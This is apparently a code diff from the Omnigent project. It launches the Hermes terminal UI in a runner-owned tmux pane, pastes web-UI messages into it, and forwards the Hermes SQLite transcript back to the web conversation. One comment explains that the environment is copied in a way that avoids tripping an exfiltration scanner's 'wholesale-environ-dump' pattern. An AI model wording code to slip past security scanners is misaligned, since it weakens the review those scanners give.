:param server: Resolved Omnigent server URL.
:param session_id: Optional existing Omnigent conversation id.
:param hermes_args: Raw hermes CLI args to persist for the runner-owned TUI.
:param resume_picker: ``True`` runs the hermes-native picker.
:param auto_open_conversation: When ``True``, open the browser conversation
URL after launch.
:returns: None after the terminal attach session ends.
"""
_preflight_local_tools()
if server is None:
raise click.ClickException(
"Hermes requires a resolved Omnigent server URL. The CLI should call "
"_ensure_backend before run_hermes_native."
)
with TemporaryDirectory(prefix="omnigent-hermes-native-") as tmpdir:
spec_path = _materialize_hermes_agent_spec(Path(tmpdir))
_run_with_remote_server(
server.rstrip("/"),
spec_path,
session_id=session_id,
resume_picker=resume_picker,
hermes_args=hermes_args,
auto_open_conversation=auto_open_conversation,
)
def _materialize_hermes_agent_spec(tmpdir: Path) -> Path:
"""
Write the terminal-first agent spec used by ``omnigent hermes``.
:param tmpdir: Temporary directory for the generated YAML file.
:returns: Path to the generated YAML spec.
"""
yaml_path = tmpdir / "hermes-native-ui.yaml"
raw: dict[str, Any] = {
"name": _AGENT_NAME,
"prompt": (
"Hermes is running in the session terminal. The user drives the hermes TUI directly."
),
"executor": {"harness": "hermes-native"},
"spawn": True,
"os_env": {
"type": "caller_process",
"cwd": ".",
"sandbox": {"type": "none"},
},
"terminals": {
"shell": {
"command": "bash",
"allow_cwd_override": True,
"os_env": {
"type": "caller_process",
"cwd": ".",
"sandbox": {"type": "none"},
},
},
},
}
yaml_path.write_text(yaml.safe_dump(raw, sort_keys=False), encoding="utf-8")
return yaml_path
def _run_with_remote_server(
base_url: str,
spec_path: Path,
*,
session_id: str | None,
resume_picker: bool,
hermes_args: tuple[str, ...],
auto_open_conversation: bool = False,
) -> None:
"""
Launch Hermes on an Omnigent server via a daemon-spawned runner.
:param base_url: Omnigent server base URL.
:param spec_path: Generated Hermes wrapper agent spec.
:param session_id: Optional existing Omnigent session id.
:param resume_picker: When ``True``, run the hermes-native picker.
:param hermes_args: Raw hermes CLI args.
:param auto_open_conversation: Whether to open the web conversation URL.
"""
from omnigent.chat import _bundle_agent, _remote_headers
from omnigent.cli import _ensure_host_daemon
from omnigent.host.identity import load_or_create_host_identity
headers = _remote_headers(server_url=base_url)
try:
resolved_session_id = _resolve_session_id_for_resume(
base_url=base_url,
headers=headers,
session_id=session_id,
resume_picker=resume_picker,
)
if resolved_session_id is None and resume_picker and session_id is None:
return
async def _drive() -> None:
with runner_startup_progress(initial_message="Preparing Hermes...") as progress:
_update_startup_progress(progress, "Connecting to local daemon...")
_ensure_host_daemon(base_url)
host_id = load_or_create_host_identity().host_id
bundle = None if resolved_session_id is not None else _bundle_agent(spec_path)
prepared = await _prepare_hermes_terminal_via_daemon(
base_url=base_url,
headers=headers,
session_id=resolved_session_id,
session_bundle=bundle,
hermes_args=hermes_args,
host_id=host_id,
workspace=str(Path.cwd().resolve()),
startup_progress=progress,
)
click.echo(f"Web UI: {conversation_url(base_url, prepared.session_id)}", err=True)
open_conversation_link_if_enabled(
base_url=base_url,
conversation_id=prepared.session_id,
enabled=auto_open_conversation,
warn=lambda message: click.echo(message, err=True),
)
if prepared.cold_resumed:
echo_native_cold_resume_hint(agent_label="Hermes")
await _attach_terminal_resource(prepared)
if resolved_session_id is None:
echo_native_resume_hint(
native_command="hermes",
session_id=prepared.session_id,
server=base_url,
)
asyncio.run(_drive())
except httpx.ConnectError as exc:
raise click.ClickException(
f"Could not reach the omnigent server at {base_url}. "
"Confirm the server is running and reachable from here "
f"(e.g. `curl {base_url}/health`), and that --server is correct."
) from exc
async def _prepare_hermes_terminal_via_daemon(
*,
base_url: str,
headers: dict[str, str],
session_id: str | None,
session_bundle: bytes | None,
hermes_args: tuple[str, ...],
host_id: str,
workspace: str,
startup_progress: RunnerStartupProgress | None = None,
) -> PreparedHermesTerminal:
"""
Create or resume a hermes-native session through a daemon runner.
:returns: Prepared terminal details for attaching.
"""
persist_args = list(hermes_args)
timeout = httpx.Timeout(30.0, read=120.0)
async with httpx.AsyncClient(base_url=base_url, headers=headers, timeout=timeout) as client:
reattached = False
cold_resumed = False
if session_id is None:
if session_bundle is None:
raise click.ClickException("Creating a Hermes session requires a session bundle.")
_update_startup_progress(startup_progress, "Creating Hermes session...")
session_id = await _create_hermes_session(
client,
session_bundle,
terminal_launch_args=persist_args or None,
)
else:
_update_startup_progress(startup_progress, "Loading Hermes session...")
payload = await _fetch_hermes_session(client, session_id)
labels = payload.get("labels") if isinstance(payload, dict) else None
if (
not isinstance(labels, dict)
or labels.get(_WRAPPER_LABEL_KEY) != _WRAPPER_LABEL_VALUE
):
raise click.ClickException(
f"Conversation {session_id!r} is not a hermes-native session."
)
existing_terminal = await _find_running_hermes_terminal(client, session_id)
if existing_terminal is not None:
if persist_args:
click.echo(
"Ignoring Hermes launch args for an already-running terminal; "
"restart the session terminal to apply them.",
err=True,
)
_update_startup_progress(startup_progress, "Hermes terminal ready.")
return PreparedHermesTerminal(
session_id=session_id,
terminal_id=existing_terminal.terminal_id,
tmux_socket=existing_terminal.tmux_socket,
tmux_target=existing_terminal.tmux_target,
reattached=True,
)
# Session exists but its terminal exited: relaunch a fresh TUI.
cold_resumed = True
if persist_args:
_update_startup_progress(startup_progress, "Updating Hermes session...")
resp = await client.patch(
f"/v1/sessions/{url_component(session_id)}",
json={"terminal_launch_args": persist_args},
)
if resp.status_code >= 400:
raise click.ClickException(
f"Hermes session launch config update failed "
f"({resp.status_code}): {error_text(resp)}"
)
await wait_for_host_online(client, host_id, timeout_s=_DAEMON_HOST_ONLINE_TIMEOUT_S)
_update_startup_progress(startup_progress, "Starting runner...")
runner_id = await launch_or_reuse_daemon_runner(
client,
host_id=host_id,
session_id=session_id,
workspace=workspace,
)
_update_startup_progress(startup_progress, "Waiting for runner...")
await wait_for_runner_online(client, runner_id, timeout_s=_DAEMON_RUNNER_ONLINE_TIMEOUT_S)
await _bind_session_runner(client, session_id, runner_id)
_update_startup_progress(startup_progress, "Starting Hermes terminal...")
await _ensure_hermes_terminal_on_runner(client, session_id)
terminal = await _wait_for_hermes_terminal_ready(
client,
session_id,
timeout_s=_DAEMON_TERMINAL_READY_TIMEOUT_S,
)
_update_startup_progress(startup_progress, "Hermes terminal ready.")
return PreparedHermesTerminal(
session_id=session_id,
terminal_id=terminal.terminal_id,
tmux_socket=terminal.tmux_socket,
tmux_target=terminal.tmux_target,
reattached=reattached,
cold_resumed=cold_resumed,
)
async def _create_hermes_session(
client: httpx.AsyncClient,
bundle: bytes,
*,
terminal_launch_args: list[str] | None = None,
) -> str:
"""Create a bundled terminal-first hermes-native session."""
metadata: dict[str, Any] = {"labels": dict(_SESSION_LABELS)}
if terminal_launch_args:
metadata["terminal_launch_args"] = terminal_launch_args
resp = await client.post(
"/v1/sessions",
data={"metadata": json.dumps(metadata)},
files={"bundle": ("hermes-native-ui.tar.gz", bundle, "application/gzip")},
timeout=120.0,
)
if resp.status_code >= 400:
raise click.ClickException(
f"Hermes session creation failed ({resp.status_code}): {error_text(resp)}"
)
body = resp.json()
new_session_id = body.get("session_id")
if not isinstance(new_session_id, str) or not new_session_id:
raise click.ClickException("Hermes session creation response did not include session_id.")
return new_session_id
async def _fetch_hermes_session(client: httpx.AsyncClient, session_id: str) -> dict[str, Any]:
"""Fetch an existing Omnigent session."""
resp = await client.get(f"/v1/sessions/{url_component(session_id)}")
if resp.status_code == 404:
raise click.ClickException(f"Conversation {session_id!r} not found on the server.")
if resp.status_code >= 400:
raise click.ClickException(
f"Failed to fetch conversation {session_id!r} ({resp.status_code}): {error_text(resp)}"
)
payload = resp.json()
if not isinstance(payload, dict):
raise click.ClickException("Conversation fetch returned non-object JSON.")
return payload
async def _ensure_hermes_terminal_on_runner(client: httpx.AsyncClient, session_id: str) -> None:
"""Ask the bound runner to ensure the Hermes terminal exists."""
resp = await client.post(
f"/v1/sessions/{url_component(session_id)}/resources/terminals",
json={
"terminal": _TERMINAL_NAME,
"session_key": _TERMINAL_SESSION_KEY,
"ensure_native_terminal": True,
},
timeout=60.0,
)
if resp.status_code >= 400:
raise click.ClickException(
f"Hermes terminal ensure failed ({resp.status_code}): {error_text(resp)}"
)
async def _wait_for_hermes_terminal_ready(
client: httpx.AsyncClient,
session_id: str,
*,
timeout_s: float,
) -> LaunchedHermesTerminal:
"""Wait until the runner exposes the Hermes terminal resource."""
loop = asyncio.get_running_loop()
deadline = loop.time() + timeout_s
while loop.time() < deadline:
terminal = await _find_running_hermes_terminal(client, session_id)
if terminal is not None:
return terminal
await asyncio.sleep(0.2)
raise click.ClickException(
f"The runner did not create the Hermes terminal for {session_id!r} "
f"within {timeout_s:.0f}s."
)
async def _find_running_hermes_terminal(
client: httpx.AsyncClient,
session_id: str,
) -> LaunchedHermesTerminal | None:
"""Return the existing running Hermes terminal id if present."""
terminal_id = hermes_terminal_resource_id()
resp = await client.get(
f"/v1/sessions/{url_component(session_id)}"
f"/resources/terminals/{url_component(terminal_id)}"
)
if resp.status_code == 404:
return None
if resp.status_code >= 400:
text = error_text(resp)
if resp.status_code in {409, 503} and (
"not bound to a runner" in text or "offline" in text
):
return None
raise click.ClickException(f"Failed to fetch Hermes terminal ({resp.status_code}): {text}")
payload = resp.json()
metadata = payload.get("metadata") if isinstance(payload, dict) else None
if isinstance(metadata, dict) and metadata.get("running") is False:
return None
return _launched_hermes_terminal_from_payload(payload)
def _launched_hermes_terminal_from_payload(payload: object) -> LaunchedHermesTerminal:
"""Decode terminal launch metadata returned by the runner."""
if not isinstance(payload, dict):
raise click.ClickException("Hermes terminal launch returned non-object JSON.")
terminal_id = payload.get("id")
if not isinstance(terminal_id, str) or not terminal_id:
raise click.ClickException("Hermes terminal launch response did not include terminal id.")
metadata = payload.get("metadata")
tmux_socket: Path | None = None
tmux_target: str | None = None
if isinstance(metadata, dict):
raw_socket = metadata.get("tmux_socket")
raw_target = metadata.get("tmux_target")
if isinstance(raw_socket, str) and raw_socket:
tmux_socket = Path(raw_socket)
if isinstance(raw_target, str) and raw_target:
tmux_target = raw_target
return LaunchedHermesTerminal(
terminal_id=terminal_id,
tmux_socket=tmux_socket,
tmux_target=tmux_target,
)
async def _attach_terminal_resource(prepared: PreparedHermesTerminal) -> None:
"""Attach the current terminal to the prepared Hermes terminal resource."""
direct_tmux_error = _direct_tmux_unavailable_reason(prepared)
if direct_tmux_error is not None:
raise click.ClickException(
f"Runner-owned Hermes terminal requires direct tmux attach, but {direct_tmux_error}"
)
if prepared.tmux_socket is None or prepared.tmux_target is None:
raise click.ClickException("Hermes tmux attach metadata was incomplete.")
await _attach_direct_tmux(prepared.tmux_socket, prepared.tmux_target)
async def _attach_direct_tmux(socket_path: Path, tmux_target: str) -> None:
"""Attach the current terminal directly to the runner-owned tmux pane."""
# ``os.environ.copy()`` returns a plain-dict copy without tripping the
# exfil-scan wholesale-environ-dump shape; this only drops TMUX before
# handing the env to the local tmux attach subprocess.
env = os.environ.copy()
env.pop("TMUX", None)
process = await asyncio.create_subprocess_exec(
"tmux",
"-S",
str(socket_path),
"-f",
os.devnull,
"attach",
"-t",
tmux_target,
env=env,
)
await process.wait()
def _direct_tmux_unavailable_reason(prepared: PreparedHermesTerminal) -> str | None:
"""Explain why direct tmux attach is unavailable."""
if prepared.tmux_socket is None:
return "the terminal resource did not include a tmux socket path."
if prepared.tmux_target is None:
return "the terminal resource did not include a tmux target."
if not prepared.tmux_socket.exists():
return f"tmux socket {prepared.tmux_socket} is not reachable from this CLI process."
if shutil.which("tmux") is None:
return "tmux is not available on PATH."
return None
def _resolve_session_id_for_resume(
*,
base_url: str,
headers: dict[str, str],
session_id: str | None,
resume_picker: bool,
) -> str | None:
"""Translate resume inputs into a concrete hermes-native session id."""
if session_id is not None:
return session_id
if not resume_picker:
return None
from omnigent_client import OmnigentClient
from omnigent.repl._resume_picker import pick_conversation_by_wrapper_label_from_sdk
async def _drive() -> str | None:
async with OmnigentClient(
base_url=base_url,
headers=headers if headers else None,
) as client:
return await pick_conversation_by_wrapper_label_from_sdk(
client,
wrapper_value=_WRAPPER_LABEL_VALUE,
agent_name=_AGENT_NAME,
)
return asyncio.run(_drive())
def _update_startup_progress(
startup_progress: RunnerStartupProgress | None,
message: str,
) -> None:
"""Show one concise Hermes startup milestone when a renderer is active."""
if startup_progress is not None:
startup_progress.update(message)
def _preflight_local_tools() -> None:
"""Verify local executables required by the native Hermes wrapper."""
if shutil.which("tmux") is None:
raise click.ClickException(
"tmux was not found on local PATH. The native Hermes wrapper "
"attaches to the runner-owned Hermes tmux terminal."
)
def hermes_terminal_resource_id() -> str:
"""Return the deterministic terminal resource id for Hermes."""
return terminal_resource_id(_TERMINAL_NAME, _TERMINAL_SESSION_KEY)
+374
View File
@@ -0,0 +1,374 @@
"""Filesystem bridge + tmux injection for the hermes-native terminal harness.
The runner launches the ``hermes`` TUI in a private tmux pane and records that
pane's socket + target here via :func:`write_tmux_target`. The harness executor
then delivers Omnigent web-UI messages into the *same* pane via
:func:`inject_user_message` (tmux bracketed paste + a single Enter) — the Hermes
analog of the goose-native tmux bridge. This is what wires the web-UI chat box to
the running Hermes TUI (and, since the web UI embeds that pane, the message shows
in both surfaces).
The native TUI uses the user's own ``~/.hermes`` (model/provider/tools) and its
own tool-approval prompt; Omnigent writes no vendor config here. That prompt is
surfaced to the web UI as a synced approval card by the runner-side mirror
(:mod:`omnigent.hermes_native_permissions`), which reads the pane via
:func:`capture_hermes_pane` and answers it via :func:`send_hermes_pane_keys`.
"""
from __future__ import annotations
import contextlib
import hashlib
import json
import os
import subprocess
import tempfile
import time
from pathlib import Path
from typing import Any
#: Env var carrying the bridge dir into the harness executor process.
BRIDGE_DIR_ENV_VAR = "HARNESS_HERMES_NATIVE_BRIDGE_DIR"
_BRIDGE_ROOT = Path(os.environ.get("TMPDIR", "/tmp")) / f"omnigent-{os.getuid()}" / "hermes-native"
_TMUX_FILE = "tmux.json"
_TMUX_READY_TIMEOUT_S = 30.0
_TMUX_SEND_TIMEOUT_S = 10.0
_POLL_INTERVAL_S = 0.2
_PASTE_SETTLE_S = 0.3
_PASTE_BUFFER = "omnigent-hermes-paste"
# How long to wait for the pasted text to become visible in the pane before
# sending Enter — submitting before the TUI commits the paste folds the Enter
# into the paste as a newline and the message sits unsent.
_PASTE_COMMIT_TIMEOUT_S = 5.0
# Hermes' prompt_toolkit TUI emits no fixed ready-prompt sentinel; readiness is
# detected by the pane settling (no byte changes across consecutive captures).
# This many stable polls in a row marks the input box ready.
_SETTLE_STABLE_POLLS = 3
def bridge_dir_for_session_id(session_id: str) -> Path:
"""Return the per-session bridge dir, e.g. ``/tmp/omnigent-<uid>/hermes-native/<hash>``."""
digest = hashlib.sha256(session_id.encode("utf-8")).hexdigest()[:32]
return _BRIDGE_ROOT / digest
def bridge_root() -> Path:
"""Return the configured hermes-native bridge root."""
return _BRIDGE_ROOT
def _ensure_dir(path: Path) -> None:
"""Create *path* (and parents) with owner-only permissions."""
path.mkdir(parents=True, exist_ok=True)
with contextlib.suppress(OSError):
os.chmod(path, 0o700)
def build_hermes_native_spawn_env(session_id: str) -> dict[str, str]:
"""Build the ``HARNESS_HERMES_NATIVE_*`` env the harness executor reads.
Publishes the per-session bridge dir so the
:class:`~omnigent.inner.hermes_native_executor.HermesNativeExecutor` can find
the tmux target advertised by the runner. Unlike the headless ``hermes``
harness this sets no model/provider env — the native TUI uses the user's own
``hermes`` configuration (``hermes model``), left untouched.
:param session_id: The Omnigent session id (keys the bridge dir).
:returns: Env-var overrides for the harness executor spawn.
"""
bridge_dir = bridge_dir_for_session_id(session_id)
_ensure_dir(bridge_dir)
return {BRIDGE_DIR_ENV_VAR: str(bridge_dir)}
def write_tmux_target(
bridge_dir: Path,
*,
socket_path: Path,
tmux_target: str,
pid: int | None = None,
) -> None:
"""Advertise the tmux socket + target for the running Hermes terminal."""
_ensure_dir(bridge_dir)
payload: dict[str, Any] = {
"socket_path": str(socket_path),
"tmux_target": tmux_target,
"updated_at": time.time(),
}
if pid is not None:
payload["pid"] = pid
tmp = bridge_dir / (_TMUX_FILE + ".tmp")
tmp.write_text(json.dumps(payload), encoding="utf-8")
os.replace(tmp, bridge_dir / _TMUX_FILE)
def read_tmux_info(bridge_dir: Path) -> dict[str, str] | None:
"""Return ``{socket_path, tmux_target}`` from ``tmux.json``, or ``None``."""
try:
raw = (bridge_dir / _TMUX_FILE).read_text(encoding="utf-8")
except OSError:
return None
try:
data = json.loads(raw)
except ValueError:
return None
socket_path = data.get("socket_path")
tmux_target = data.get("tmux_target")
if (
isinstance(socket_path, str)
and socket_path
and isinstance(tmux_target, str)
and tmux_target
):
return {"socket_path": socket_path, "tmux_target": tmux_target}
return None
def _wait_for_tmux_info(bridge_dir: Path, *, timeout_s: float) -> dict[str, str]:
"""Block until ``tmux.json`` is advertised, or raise on timeout."""
deadline = time.monotonic() + timeout_s
while time.monotonic() < deadline:
info = read_tmux_info(bridge_dir)
if info is not None:
return info
time.sleep(_POLL_INTERVAL_S)
raise RuntimeError(f"hermes-native tmux target was not advertised within {timeout_s:.0f}s")
def _run_tmux(socket_path: str, *args: str) -> None:
"""Invoke ``tmux -S <socket> <args...>`` and raise on failure."""
try:
proc = subprocess.run(
["tmux", "-S", socket_path, *args],
check=False,
capture_output=True,
text=True,
timeout=_TMUX_SEND_TIMEOUT_S,
)
except subprocess.TimeoutExpired as exc:
raise RuntimeError(f"tmux command timed out after {_TMUX_SEND_TIMEOUT_S}s") from exc
if proc.returncode != 0:
detail = proc.stderr.strip() or proc.stdout.strip() or "<no output>"
raise RuntimeError(f"tmux command failed (rc={proc.returncode}): {detail}")
def _capture_pane(socket_path: str, tmux_target: str) -> str:
"""Capture the visible pane contents; ``""`` on any failure (treat as not-ready)."""
try:
proc = subprocess.run(
["tmux", "-S", socket_path, "capture-pane", "-p", "-t", tmux_target],
check=False,
capture_output=True,
text=True,
timeout=_TMUX_SEND_TIMEOUT_S,
)
except (subprocess.TimeoutExpired, OSError):
return ""
return proc.stdout if proc.returncode == 0 else ""
def _paste_payload_bytes(text: str) -> bytes:
r"""Encode text for ``tmux load-buffer``: line breaks → CR, tabs kept, other
control bytes dropped (a stray ESC would close the bracketed-paste early)."""
normalized = text.replace("\r\n", "\n").replace("\r", "\n")
body = bytearray()
for ch in normalized:
if ch == "\n":
body.append(0x0D)
continue
if ch == "\t":
body.append(0x09)
continue
if ord(ch) < 0x20:
continue
body.extend(ch.encode("utf-8"))
return bytes(body)
def _session_alive(socket_path: str, tmux_target: str) -> bool:
"""Return whether the tmux session/pane still exists (the TUI is running)."""
try:
proc = subprocess.run(
["tmux", "-S", socket_path, "has-session", "-t", tmux_target],
check=False,
capture_output=True,
text=True,
timeout=_TMUX_SEND_TIMEOUT_S,
)
except (subprocess.TimeoutExpired, OSError):
return False
return proc.returncode == 0
def _submit_needle(content: str) -> str:
"""A stable single-line substring used to confirm the paste rendered in the pane.
Anchored to the LAST qualifying line, not the first: the tail of a freshly
pasted message is far less likely to already be visible in the pane (a prior
turn's echo, scrollback) than its opening line, so matching it is a tighter
signal that *this* paste committed before we send Enter.
"""
for line in reversed(content.splitlines()):
stripped = line.strip()
if len(stripped) >= 4:
return stripped[:24]
stripped = content.strip()
return stripped[:24] if len(stripped) >= 4 else ""
def _settle_pane(socket_path: str, tmux_target: str, *, timeout_s: float) -> None:
"""Best-effort wait until the Hermes input box is ready to receive a paste.
Hermes emits no fixed idle marker, so readiness is detected by the pane
settling: the captured contents stop changing for :data:`_SETTLE_STABLE_POLLS`
consecutive polls (no spinner churn, no streaming output). Falls through after
the timeout (mid-turn steering may never fully settle) rather than raising.
"""
deadline = time.monotonic() + timeout_s
previous = _capture_pane(socket_path, tmux_target)
stable = 0
while time.monotonic() < deadline:
time.sleep(_POLL_INTERVAL_S)
current = _capture_pane(socket_path, tmux_target)
if current and current == previous:
stable += 1
if stable >= _SETTLE_STABLE_POLLS:
return
else:
stable = 0
previous = current
def inject_user_message(
bridge_dir: Path,
*,
content: str,
timeout_s: float = _TMUX_READY_TIMEOUT_S,
) -> None:
"""Deliver a web-UI user message into the Hermes TUI via a tmux bracketed paste.
Clears any leftover draft, pastes *content* (multi-line safe via
``load-buffer``/``paste-buffer -p`` so interior newlines stay data, not
submits), settles, then submits with a *single* Enter. Hermes' prompt_toolkit
input submits on Enter, so exactly one Enter is sent — a second would submit
an empty turn.
:param bridge_dir: The hermes-native bridge dir holding ``tmux.json``.
:param content: User text (non-empty).
:param timeout_s: Per-readiness-gate timeout.
:raises RuntimeError: If the tmux target is never advertised or a tmux
command fails.
"""
if not content:
raise RuntimeError("hermes-native injection requires non-empty content")
info = _wait_for_tmux_info(bridge_dir, timeout_s=timeout_s)
socket_path = info["socket_path"]
tmux_target = info["tmux_target"]
# Fast-fail if the TUI already exited: otherwise _settle_pane polls a dead
# pane for the full timeout and the web message is silently lost.
if not _session_alive(socket_path, tmux_target):
raise RuntimeError(
"hermes terminal is no longer running (the TUI exited); restart the session"
)
_settle_pane(socket_path, tmux_target, timeout_s=timeout_s)
# Clear any leftover draft: Home (C-a) + kill-to-end (C-k).
_run_tmux(socket_path, "send-keys", "-t", tmux_target, "C-a")
_run_tmux(socket_path, "send-keys", "-t", tmux_target, "C-k")
with tempfile.NamedTemporaryFile(
dir=bridge_dir, prefix="paste_", suffix=".bin", delete=False
) as paste_file:
# Trailing newline absorbs any trailing backslash so it can't escape Enter.
paste_file.write(_paste_payload_bytes(content + "\n"))
paste_path = paste_file.name
try:
_run_tmux(socket_path, "load-buffer", "-b", _PASTE_BUFFER, paste_path)
_run_tmux(
socket_path,
"paste-buffer",
"-p", # bracketed-paste markers — the TUI keeps newlines as data
"-d", # drop the buffer after pasting
"-b",
_PASTE_BUFFER,
"-t",
tmux_target,
)
finally:
with contextlib.suppress(OSError):
os.unlink(paste_path)
# Wait until the paste is visibly committed before Enter. Submitting mid-paste
# folds the Enter in as a newline (rapid stdin bursts coalesce), leaving the
# message unsent. Poll for the text, then submit; blind-submit if no needle.
needle = _submit_needle(content)
if needle:
deadline = time.monotonic() + _PASTE_COMMIT_TIMEOUT_S
while time.monotonic() < deadline:
if needle in _capture_pane(socket_path, tmux_target):
break
time.sleep(_POLL_INTERVAL_S)
time.sleep(_PASTE_SETTLE_S)
_run_tmux(socket_path, "send-keys", "-t", tmux_target, "Enter")
def inject_interrupt(bridge_dir: Path, *, timeout_s: float = _TMUX_READY_TIMEOUT_S) -> None:
"""Cancel the in-flight Hermes turn by sending ``Escape`` to the pane.
The harness ``run_turn`` returns right after the paste, so the runner's
in-process cancel floor can't reach the turn — this is the analog of
:func:`inject_user_message` for the web UI's Stop button.
:raises RuntimeError: If the tmux target is not advertised or send-keys fails.
"""
info = _wait_for_tmux_info(bridge_dir, timeout_s=timeout_s)
# No ``-l``: tmux must interpret ``Escape`` as a key name.
_run_tmux(info["socket_path"], "send-keys", "-t", info["tmux_target"], "Escape")
def kill_session(bridge_dir: Path, *, timeout_s: float = _TMUX_READY_TIMEOUT_S) -> None:
"""Hard-stop the Hermes session by killing its tmux session.
Terminates ``hermes`` and the pane outright — the analog of the user manually
exiting the attached TUI, for the web UI's "Stop session" affordance.
:raises RuntimeError: If the tmux target is not advertised or kill-session fails.
"""
info = _wait_for_tmux_info(bridge_dir, timeout_s=timeout_s)
_run_tmux(info["socket_path"], "kill-session", "-t", info["tmux_target"])
def capture_hermes_pane(bridge_dir: Path) -> str | None:
"""Return the visible Hermes pane text, or ``None`` if the TUI is not running.
Used by the runner-side approval mirror
(:mod:`omnigent.hermes_native_permissions`) to detect Hermes' in-terminal
"DANGEROUS COMMAND" approval prompt. ``None`` (no advertised tmux target, or a
dead pane) is distinct from ``""`` (a live but empty capture).
:param bridge_dir: The hermes-native bridge dir holding ``tmux.json``.
:returns: The captured pane text, or ``None`` when no live pane exists.
"""
info = read_tmux_info(bridge_dir)
if info is None:
return None
socket_path, tmux_target = info["socket_path"], info["tmux_target"]
if not _session_alive(socket_path, tmux_target):
return None
return _capture_pane(socket_path, tmux_target)
def send_hermes_pane_keys(bridge_dir: Path, *keys: str) -> None:
"""Send one or more keys to the Hermes pane (tmux ``send-keys``).
Used by the approval mirror to answer Hermes' native prompt from a web
verdict, e.g. ``"o"`` to approve once or ``"d"`` to deny. Each key is a tmux
key name/argument (not bracketed-paste data), so multi-byte keys like
``"Enter"`` are interpreted, not typed literally.
:param bridge_dir: The hermes-native bridge dir holding ``tmux.json``.
:param keys: tmux key arguments, e.g. ``"o"`` or ``"Enter"``.
:raises RuntimeError: If the tmux target is not advertised or send-keys fails.
"""
info = read_tmux_info(bridge_dir)
if info is None:
raise RuntimeError("hermes-native tmux target not advertised")
_run_tmux(info["socket_path"], "send-keys", "-t", info["tmux_target"], *keys)
+594
View File
@@ -0,0 +1,594 @@
"""TUI→web forwarder for the hermes-native harness.
The ``omnigent hermes`` wrapper launches the real ``hermes`` TUI in a runner-owned
tmux pane, and :mod:`omnigent.hermes_native_bridge` injects web-UI messages into
it. That covers the web→TUI direction, but the *embedded terminal* is then the
only surface that reflects the agent's work — the Omnigent conversation view (chat
bubbles, title) stays empty because nothing mirrors the TUI's transcript back into
the session.
This module is that missing mirror — the Hermes analog of
:mod:`omnigent.goose_native_forwarder`. Hermes stores all sessions in a single
SQLite database at ``$HERMES_HOME/state.db`` (default ``~/.hermes/state.db``,
verified against the hermes-agent ``hermes_state.py`` schema): a ``sessions`` row
per session (``id`` TEXT, ``source``, ``cwd``, ``started_at`` REAL-seconds) and a
``messages`` row per turn (``id`` autoincrement, ``session_id`` FK, ``role``,
``content`` TEXT, ``active``).
Unlike goose-native, Hermes auto-generates its ``sessions.id`` and gives no
``--name`` to pin it, so discovery follows cursor-native instead: bind the newest
session whose ``cwd`` matches this terminal's workspace and whose ``started_at`` is
at/after the recorded launch time, with a claim guard so two hermes-native sessions
launched in the same cwd never mirror the same row into two conversations. We then
poll ``messages`` past a high-water ``id`` and POST new user/assistant rows as
``external_conversation_item`` events (which also seeds the session title).
Status (``running``/``idle``) is intentionally NOT posted here: the runner's
PTY-activity watcher owns those edges for hermes-native (see
:mod:`omnigent.runner.app`), exactly as for goose-/cursor-native.
"""
from __future__ import annotations
import asyncio
import contextlib
import json
import logging
import os
import re
import sqlite3
import time
from dataclasses import dataclass
from pathlib import Path
import httpx
_logger = logging.getLogger(__name__)
#: Seconds between store polls. Hermes flushes a ``messages`` row per agentic step
#: (each assistant-text / tool-call cycle) as a turn progresses, so a snappier
#: sub-second cadence makes the mirrored chat track the terminal step-by-step.
#: 0.4s balances liveness vs. load.
_DEFAULT_POLL_INTERVAL_S = 0.4
_POST_TIMEOUT_S = 30.0
# Supervisor backoff (mirrors goose_native_forwarder.supervise_goose_forwarder).
_SUPERVISOR_INITIAL_BACKOFF_S = 1.0
_SUPERVISOR_MAX_BACKOFF_S = 30.0
_SUPERVISOR_HEALTHY_UPTIME_S = 60.0
#: Discovery tolerance (seconds): a session whose ``started_at`` is within this
#: many seconds *before* the recorded launch time still counts as this session's
#: row. Covers the small skew between the runner stamping ``launch_epoch_s`` and
#: Hermes writing the ``sessions`` row once the TUI initializes.
_DISCOVERY_SKEW_S = 10.0
_STATE_FILE = "hermes_forwarder.json"
# A sibling session's persisted claim (naming the same ``hermes_session_id``)
# counts as a LIVE owner only if its heartbeat was refreshed within this window;
# an older claim is treated as a dead session and may be taken over. Generous
# relative to the ~0.4s poll so a brief supervisor backoff never drops a claim.
_CLAIM_FRESH_MS = 30_000
# Sqlite read errors are swallowed in the helpers below (a live DB is briefly
# unreadable mid-checkpoint, so returning empty and retrying is correct). But a
# *persistent* error (schema drift, wrong path) would otherwise leave the chat
# view silently empty forever — so surface each distinct error string once.
_warned_sqlite_errors: set[str] = set()
def _warn_sqlite_once(context: str, exc: sqlite3.Error) -> None:
"""Log a distinct sqlite error at warning level once (dedup by message)."""
key = f"{context}:{exc}"
if key in _warned_sqlite_errors:
return
_warned_sqlite_errors.add(key)
_logger.warning("hermes forwarder sqlite error during %s: %s", context, exc)
# The executor injects ``[Attached: <path>]`` markers for web-UI attachments
# before pasting into the TUI; strip them from the mirrored bubble (the path is
# an internal bridge detail).
_ATTACHMENT_MARKER_RE = re.compile(r"\[Attached:[^\]]*\]")
def _hermes_home() -> Path:
"""Return Hermes' home dir for this process (``$HERMES_HOME`` or ``~/.hermes``)."""
raw = os.environ.get("HERMES_HOME", "").strip()
return Path(raw) if raw else Path.home() / ".hermes"
def default_state_db() -> Path:
"""Return Hermes' SQLite session store path for this process.
Resolves to ``$HERMES_HOME/state.db`` (default ``~/.hermes/state.db``) the same
way Hermes' own ``get_hermes_home()`` does, so the forwarder reads the exact
DB the native TUI writes. Overridable via ``HERMES_STATE_DB`` (tests,
non-standard installs).
"""
override = os.environ.get("HERMES_STATE_DB", "").strip()
if override:
return Path(override)
return _hermes_home() / "state.db"
@dataclass
class _ForwardState:
"""Durable forwarder cursor, persisted to ``bridge_dir/hermes_forwarder.json``.
:param hermes_session_id: The resolved Hermes ``sessions.id`` being tailed, or
``None`` before one is discovered.
:param last_id: Highest ``messages.id`` already processed (forwarded or
skipped). ``messages.id`` is autoincrement, so the high-water mark is
sufficient dedup with O(1) state.
:param launch_epoch_s: This session's launch time (Unix seconds), used to
scope discovery and to break ties when two sessions discover the same row:
the earlier-launched (established) session keeps it. ``0.0`` for cold.
:param heartbeat_ms: Wall-clock ms of the last persist. A sibling reads this
to tell a live owner from a dead session's leftover claim. Stamped by
:func:`_write_state`.
"""
hermes_session_id: str | None = None
last_id: int = 0
launch_epoch_s: float = 0.0
heartbeat_ms: int = 0
def _read_state(bridge_dir: Path) -> _ForwardState:
"""Load the persisted forward cursor, or a cold default."""
try:
raw = (bridge_dir / _STATE_FILE).read_text(encoding="utf-8")
data = json.loads(raw)
